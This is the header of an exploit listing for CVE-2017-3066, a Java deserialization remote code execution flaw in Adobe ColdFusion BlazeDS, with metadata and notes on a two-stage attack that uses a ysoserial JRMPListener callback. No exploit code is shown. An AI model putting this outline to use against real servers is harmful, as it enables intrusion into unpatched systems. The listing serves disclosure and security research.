# Exploit Title: Adobe Coldfusion BlazeDS Java Object Deserialization RCE
# Date: February 6, 2018
# Exploit Author: Faisal Tameesh (@DreadSystems)
# Company: Depth Security (https://depthsecurity.com)
# Version: Adobe Coldfusion (11.0.03.292866)
# Tested On: Windows 10 Enterprise (10.0.15063)
# CVE: CVE-2017-3066
# Advisory: https://helpx.adobe.com/security/products/coldfusion/apsb17-14.html
# Category: remote

# Notes:
# This is a two-stage deserialization exploit. The code below is the first stage.
# You will need a JRMPListener (ysoserial) listening at callback_IP:callback_port.
# After firing this exploit, and once the target server connects back, 
# JRMPListener will deliver the secondary payload for RCE.
